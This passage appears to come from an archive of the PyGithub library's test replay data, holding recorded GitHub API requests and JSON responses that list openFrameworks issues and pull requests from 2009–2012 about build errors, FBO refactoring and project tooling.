false;\r\n}\r\n\r\nbut I personally prefer all apps to start with some kind of similar frame rate (ie, examples running really fast on mac, etc). see for example: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=16520&#p16520\r\n\r\nthis kind of thing leads to less \"cross-platform-ness\" and more confusion from beginners, no? \r\n\r\n- z\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107","comments":8,"milestone":null,"number":107,"html_url":"https://github.com/openframeworks/openFrameworks/issues/107","assignee":null,"title":"should we start all OF apps with a frame rate set?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2009-12-31T15:10:45Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":104702,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-27T15:47:45Z","body":"videoGrabber and serial listDevices should return a vector of strings apart from printing to console","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91","comments":4,"milestone":null,"number":91,"html_url":"https://github.com/openframeworks/openFrameworks/issues/91","assignee":null,"title":"listDevices should return a list of strings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2009-12-09T17:11:40Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":94898,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},null] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue33.setUp.txt0000644000175100001660000000532014756101563021254 0ustar00runnerdockerhttps GET api.github.com None /users/openframeworks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '564'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"a8e114c69001724baa16b7296683b6c7"'), ('date', 'Tue, 29 May 2012 06:43:33 GMT'), ('content-type', 'application/json; charset=utf-8')] {"public_repos":12,"type":"User","hireable":false,"blog":null,"url":"https://api.github.com/users/openframeworks","bio":null,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","public_gists":0,"company":null,"gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","email":"","followers":399,"name":null,"created_at":"2009-10-21T21:54:37Z","location":null,"id":142866,"following":4,"html_url":"https://github.com/openframeworks"} https GET api.github.com None /repos/openframeworks/openFrameworks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4983'), ('content-length', '1253'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b765d626a03448a6b078da9e936f51b4"'), ('date', 'Tue, 29 May 2012 06:43:34 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/openframeworks/openFrameworks.git","has_downloads":true,"watchers":1741,"updated_at":"2012-05-29T04:44:30Z","permissions":{"pull":true,"admin":false,"push":false},"homepage":"http://openframeworks.cc","url":"https://api.github.com/repos/openframeworks/openFrameworks","has_wiki":true,"has_issues":true,"fork":false,"forks":349,"size":3792,"private":false,"open_issues":338,"svn_url":"https://github.com/openframeworks/openFrameworks","owner":{"url":"https://api.github.com/users/openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","id":142866},"name":"openFrameworks","language":"C","description":"OpenFrameworks is a cross platform open source toolkit for creative coding in C++.","ssh_url":"git@github.com:openframeworks/openFrameworks.git","git_url":"git://github.com/openframeworks/openFrameworks.git","pushed_at":"2012-05-28T19:23:35Z","created_at":"2009-10-21T21:55:54Z","id":345337,"mirror_url":null,"html_url":"https://github.com/openframeworks/openFrameworks","full_name":"openframeworks/openFrameworks"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue33.testClosedIssues.txt0000644000175100001660000476374314756101563023511 0ustar00runnerdockerhttps GET api.github.com None /repos/openframeworks/openFrameworks/issues?state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('content-length', '43496'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"d63f11ca1f530464908888e7f87e4703"'), ('date', 'Tue, 29 May 2012 18:46:20 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-29T15:15:44Z","body":"Purge .svn directories from pugixmlLib. Closes #1282.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1283","comments":11,"milestone":null,"number":1283,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1283","assignee":null,"title":"Fix #1282","labels":[],"closed_at":"2012-05-29T13:06:59Z","created_at":"2012-05-29T12:27:44Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":4793868,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1283","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1283.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1283.diff"}},{"updated_at":"2012-05-29T13:07:00Z","body":"A svn checkout of the git repo fails because of .svn dirs inside the repository. I suggest you remove them since they interfere with the svn backend of github...\n\nI'm not sure if this is relevant but you can include an svn repo inside a git repo.. \nhttp://stackoverflow.com/questions/746151/add-svn-repo-to-existing-git-repo\n\nOtherwise add the .svn dirs too .gitignore\n\nsvn: warning: Failed to add directory 'openFrameworks/apps/devApps/projectGenerator/src/pugixmlLib/.svn': an unversioned directory of the same name already exists\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1282","comments":1,"milestone":null,"number":1282,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1282","assignee":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"title":"remove .svn dirs from git repo","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":"2012-05-29T13:07:00Z","created_at":"2012-05-29T10:09:06Z","state":"closed","user":{"url":"https://api.github.com/users/sphaero","gravatar_id":"f17e8b6636b46f5bfacbda5854842eb9","login":"sphaero","avatar_url":"https://secure.gravatar.com/avatar/f17e8b6636b46f5bfacbda5854842eb9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":832465},"id":4792153,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-28T16:34:15Z","body":"sorry,the projectGenerator in the main.cpp the last part which is testApp *app = new testApp;currenly missing the * before the app,cheers.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1281","comments":2,"milestone":null,"number":1281,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1281","assignee":null,"title":"projectGenerator missing pointer *app","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":"2012-05-28T16:34:15Z","created_at":"2012-05-28T16:23:26Z","state":"closed","user":{"url":"https://api.github.com/users/liquidzym","gravatar_id":"166640c513e589c86d2de49c52258eb4","login":"liquidzym","avatar_url":"https://secure.gravatar.com/avatar/166640c513e589c86d2de49c52258eb4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":51957},"id":4782585,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-26T19:55:06Z","body":"both the install_dependencies script and make in openFrameworks/libs/openFrameworksCompiled/project/linux64 is giving me this\n\n../../../openFrameworks/gl/ofFbo.cpp:28:0: warning: \"GL_UNSIGNED_INT_24_8\" redefined [enabled by default]\n../../../glew/include/GL/glew.h:3348:0: note: this is the location of the previous definition\n../../../openFrameworks/gl/ofFbo.cpp: In member function ‘void ofFbo::allocate(int, int, int, int)’:\n../../../openFrameworks/gl/ofFbo.cpp:396:5: error: ‘textureTarget’ was not declared in this scope\nmake: *** [obj/Release/openFrameworks/gl/ofFbo.o] Error 1\n\n\nuname -a\nLinux ktower 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux\n\n cat /etc/issue\nUbuntu 12.04 LTS \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1278","comments":1,"milestone":null,"number":1278,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1278","assignee":null,"title":"ofFbo causing linux to fail to compile","labels":[],"closed_at":"2012-05-26T19:55:06Z","created_at":"2012-05-26T19:18:55Z","state":"closed","user":{"url":"https://api.github.com/users/jvcleave","gravatar_id":"9c0384a91739bea093f453cf40a59742","login":"jvcleave","avatar_url":"https://secure.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":150037},"id":4767640,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-25T18:53:31Z","body":"Fixed iOS depth component type. Added iOS depth needs stencil. Disabled depth as tex for iOS as it doesn't work. Added retain for the the depth and stencil buffers.\n\nTested both with and without texture depth on osx and iOS.\nAlso tested with ARB and non ARB.\niOS depth as texture doesn't work afaikt, so I disabled it.\niOS also needs stencil enabled for depth to work - so its handled now automatically in allocate.\n\nOne issue still remains - is because retain(int id) is a static function in ofTexture.cpp we can't retain the depthStencilTexture - this produces an error at the end of the app.\n\n\t\tOF: OF_LOG_ERROR: trying to delete a non indexed texture, something weird is happening. Deleting anyway\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1276","comments":0,"milestone":null,"number":1276,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1276","assignee":null,"title":"Fixed non ARB_RECT depth and stencil textures coords and power-of-two.......","labels":[],"closed_at":"2012-05-25T18:53:31Z","created_at":"2012-05-25T18:31:54Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":4758507,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1276","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1276.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1276.diff"}},{"updated_at":"2012-05-25T16:54:02Z","body":"@ofTheo this has all your changes but refactored in a different way so there's less ifdef's. it also keeps depth/stencil as texture for openGL ES but i haven't been able to test it cause actually in android depth and stencil is not supported except in openGL ES 2 if you can give it a try in iOS and if it doesn't work we can just set the flag to false in GL ES and log.\n\nI've also disabled the mandatory stencil + depth for GL ES. from some posts in the forum, it seems like it should work just not the way it was done before, also if you can try it, if it doesn't work just uncomment the first lines in allocate which set stencil if depth is enabled\n\nstencil only doesn't work for me in the desktop either but it's the same as before so it's probably my implementation which doesn't support stencil only or the current code is broken.\n\nhere's a simple test for the depthAsTexture:\n\n\tofFbo::Settings settings;\n\tsettings.depthStencilAsTexture = true;\n\tsettings.width=640;\n\tsettings.height=480;\n\tsettings.useDepth=true;\n\tsettings.useStencil=true;\n\tdepth.allocate(settings);\n\n\n\tdepth.begin(true);\n\tglEnable(GL_DEPTH_TEST);\n\tofBox(0,0,0,100);\n\tofBox(100,100,-100,100);\n\tofBox(300,300,-300,100);\n\tdepth.end();\n\n\tglDisable(GL_DEPTH_TEST);\n\n\nthen in draw\n\n depth.getDepthTexture().draw(0,0);\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1275","comments":2,"milestone":null,"number":1275,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1275","assignee":null,"title":"Fbo refactor","labels":[],"closed_at":"2012-05-25T16:20:08Z","created_at":"2012-05-25T10:42:18Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":4751356,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1275","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1275.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1275.diff"}},{"updated_at":"2012-05-25T10:36:13Z","body":"different refactoring of the fbo allocate function. now it has variables to setup the different options and less ifdefs. it also mantains the depth in texture for GL ES. actually in android depth and stencil is not supported except in openGL ES 2 so feel free to change it to whatever works in iOS\n\nstencil only doesn't work for me in the desktop either but it's the same as before so it's probably my implementation which doesn't support stencil only or the current code is broken.\n\nhere's a simple test for the depthAsTexture:\n\n\tofFbo::Settings settings;\n\tsettings.depthStencilAsTexture = true;\n\tsettings.width=640;\n\tsettings.height=480;\n\tsettings.useDepth=true;\n\tsettings.useStencil=true;\n\tsettings.depthStencilInternalFormat=GL_DEPTH_COMPONENT32;\n\tdepth.allocate(settings);\n\n\n\tdepth.begin(true);\n\tglEnable(GL_DEPTH_TEST);\n\tofBox(0,0,0,100);\n\tofBox(100,100,-100,100);\n\tofBox(300,300,-300,100);\n\tdepth.end();\n\n\tglDisable(GL_DEPTH_TEST);\n\n\nthen in draw\n\n depth.getDepthTexture().draw(0,0);\n\ni've added some comments in allocate for things i've changed for openGL ES if someone can try iOS and verify it's working?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1274","comments":4,"milestone":null,"number":1274,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1274","assignee":null,"title":"Fbo cleanup arturo","labels":[],"closed_at":"2012-05-25T10:36:13Z","created_at":"2012-05-25T00:18:28Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":4746034,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1274","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1274.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1274.diff"}},{"updated_at":"2012-05-25T18:26:28Z","body":"hi!\n\nI wanted to start testing openFrameworks on several linux distros with VirtualBox but I can't generate any Makefiles to test the examples because the projectGenerator is not running.\n\n $ ./projectGenerator --allexamples\n OF: OF_LOG_ERROR: Error: Missing GL version\n\nbut `glxinfo` shows everything correct and `glxgears` is running fine. I can't try to compile examples, because I need the projectGenerator to create Makefiles, but I can remember every example runned slow but fine in a VM while I tested 007 for releasing.\n\nI did a quick search and found this https://forums.virtualbox.org/viewtopic.php?f=3&t=30964 but even\n LIBGL_ALWAYS_INDIRECT=1 ./projectGenerator --allexamples\nends with the same error. Maybe this helps in some way.\n\nAnother things is: Would it be a good idea to run the PG without any GL stuff when I'm in headless mode? (Could be hard if its a normal OF app under the hood)\n\nPlease let me know what I can do. I'm willing to test everything further....","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1273","comments":6,"milestone":null,"number":1273,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1273","assignee":null,"title":"projectGenerator does not run in a VM","labels":[],"closed_at":"2012-05-25T18:26:28Z","created_at":"2012-05-24T15:23:39Z","state":"closed","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":124513},"id":4736394,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-28T09:58:24Z","body":"hi!\n\nthe PG is not compiling on Fedora16. After running all installation scripts and `make` in the PG folder I get\n\n /usr/bin/ld: ../../../libs/openFrameworksCompiled/lib/linux/libopenFrameworks.a(ofTexture.o): undefined reference to symbol 'gluBuild2DMipmaps'\n /usr/bin/ld: note: 'gluBuild2DMipmaps' is defined in DSO /usr/lib/libGLU.so.1 so try adding it to the linker command line\n /usr/lib/libGLU.so.1: could not read symbols: Invalid operation\n collect2: ld returned 1 exit status\n make: *** [bin/projectGenerator] Error 1\n\nActually I don't know much about the development of the PG, so maybe I have fixed it in the wrong place. If so, please let me know.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1272","comments":1,"milestone":null,"number":1272,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1272","assignee":null,"title":"add -lGLU to config.make of PG to build on fedora16","labels":[],"closed_at":"2012-05-28T09:58:24Z","created_at":"2012-05-24T13:22:43Z","state":"closed","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":124513},"id":4732838,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1272","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1272.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1272.diff"}},{"updated_at":"2012-05-25T08:12:47Z","body":"Since @benben seems to be off the radar, I prepared a PR for this.\nCAUTION: Lacking a fedora install, I can't test/verify this, but it seems a logical/trivial change enough to warrant that. \nCloses #844.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1270","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1270,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1270","assignee":null,"title":"Add libmpg123-devel to fedora codec install script","labels":[],"closed_at":"2012-05-25T08:12:47Z","created_at":"2012-05-22T14:05:24Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":4691127,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1270","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1270.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1270.diff"}},{"updated_at":"2012-05-22T14:10:14Z","body":"Little less efficient but does not rely on addons.make order or directory listing order.\n\nInstead performs exhaustive search on any unique file name post adding debug/release libs...this means it checks every debug lib against every other lib several times, but it does solve the bug :-)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1269","comments":5,"milestone":null,"number":1269,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1269","assignee":null,"title":"Fixes issue #1268 - PG now sorts VS Debug and Release libs correctly on all platforms","labels":[],"closed_at":"2012-05-21T18:39:33Z","created_at":"2012-05-21T15:32:13Z","state":"closed","user":{"url":"https://api.github.com/users/gameoverhack","gravatar_id":"397ac2141aace0681a354185e7efb0f1","login":"gameoverhack","avatar_url":"https://secure.gravatar.com/avatar/397ac2141aace0681a354185e7efb0f1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331599},"id":4673269,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1269","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1269.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1269.diff"}},{"updated_at":"2012-05-20T10:26:53Z","body":"I found an inheritance ambiguity issue in within ofVideoPlayer, which also was present in ofVideoGrabber.\nI fixed it by making the inherited class virtual (I don't know if this is the correct way to call this). Just check the code diff.\nThis issue arose when I was trying to compile some of the examples from kyle's ofxCV addon.\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1267","comments":1,"milestone":null,"number":1267,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1267","assignee":null,"title":"Fix multiple inheritance ambiguity","labels":[],"closed_at":"2012-05-20T10:26:53Z","created_at":"2012-05-20T05:38:45Z","state":"closed","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":974878},"id":4658367,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1267","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1267.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1267.diff"}},{"updated_at":"2012-05-20T10:27:43Z","body":"it looks like the inheritance hierarchy of ofVideoGrabber has changed, breaking ofxCv. so when you try to say toCv(cam) for an ofVideoGrabber or ofVideoPlayer it gives the error in the title.\n\nit looks like the reason for this is that ofBaseVideo is inherited via ofBaseVideoGrabber and ofBaseVideoDraws (both which inherit from ofBaseHasPixels).\n\nshouldn't only one of these be inheriting from ofBaseHasPixels? not just because it breaks ofxCv, but i think maybe it will break some other things too or introduce some ambiguities elsewhere?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1266","comments":1,"milestone":null,"number":1266,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1266","assignee":null,"title":"'ofBaseHasPixels_' is an ambiguous base of 'ofVideoGrabber'","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":"2012-05-20T10:27:43Z","created_at":"2012-05-19T00:28:09Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":4651645,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-17T19:34:12Z","body":"Turns out the problem with the openCV libs on mingw32 is a very old bug to do with the implementation of SSE/SSE2 in GNU GCC or in the way that individual functions/libraries align bits on the stack.\n\nBoiling it all down: what (I think) happens is that non-aligned code calls an aligned stack and you get a segmentation fault.\n\nThere seem to be 2 workarounds: compiling with -mpreferred-stack-boundary=2 or -mstackrealign ... it's all a bit over my head but it seems that - the latter is the better way to go, see:\n\nhttp://gcc.gnu.org/bugzilla/show_bug.cgi?id=40838#c80 \n\nand the feedback from openCV bug report: \n\nhttp://code.opencv.org/issues/1932#note-3\n\nBoth workarounds bring efficiency back to same or better than VS openCV 2.3.1 lib performance.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1265","comments":0,"milestone":null,"number":1265,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1265","assignee":null,"title":"Better fix for issue #1253. openCV 2.3.1 mingw32 compiled with SSE/SSE2, -O3 and -mstackrealign","labels":[],"closed_at":"2012-05-17T19:34:12Z","created_at":"2012-05-17T19:15:50Z","state":"closed","user":{"url":"https://api.github.com/users/gameoverhack","gravatar_id":"397ac2141aace0681a354185e7efb0f1","login":"gameoverhack","avatar_url":"https://secure.gravatar.com/avatar/397ac2141aace0681a354185e7efb0f1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331599},"id":4630039,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1265","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1265.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1265.diff"}},{"updated_at":"2012-05-25T01:08:45Z","body":"...upport for POT textures. Lots of fixes for iOS also. Please take a look.\nThis is related to issue #1263\n\nwould be good to have eyes on from @damiannz @elliotwoods @memotv @kylemcdonald @obviousjim @julapy @arturoc and anyone who knows about fbos :) \n\nsome of the big changes are:\n1) make the depth as texture and stencil as texture match the texture type of the main fbo texture ( ie ARB if main is ARB and TEX_2D if main is TEX_2D ). \n2) if depth textures are TEX_2D then calculating the proper t and u coords based on the requested sizes and the adjusted pot sizes. \n3) check for ofGetUsingArb when FBO initializes - instead of being hard coded to ARB\n4) less ifdefs for OPENGL_ES \n5) auto addition of stencil buffer for ios fbo that has depth requested ( need both to get a depth buffer )\n6) auto pot for iOS now works with depth buffer\n7) general redundent code cleanup. \n\nmainly tested this on iOS - need to test more on desktop - but would be great to have fbo heads look at this. \nFor example depth and stencil textures had TEXTURE_2D hardcoded - maybe there was a reason for this?\n\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1264","comments":13,"milestone":null,"number":1264,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1264","assignee":null,"title":"cleanup for ofFbo.cpp - tries to reduce redundent code and also better s...","labels":[],"closed_at":"2012-05-25T01:08:45Z","created_at":"2012-05-17T15:09:51Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":4625581,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1264","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1264.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1264.diff"}},{"updated_at":"2012-05-16T13:43:25Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj/Zach Gage was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1261","comments":1,"milestone":null,"number":1261,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1261","assignee":null,"title":"Add .mailmap for contributor 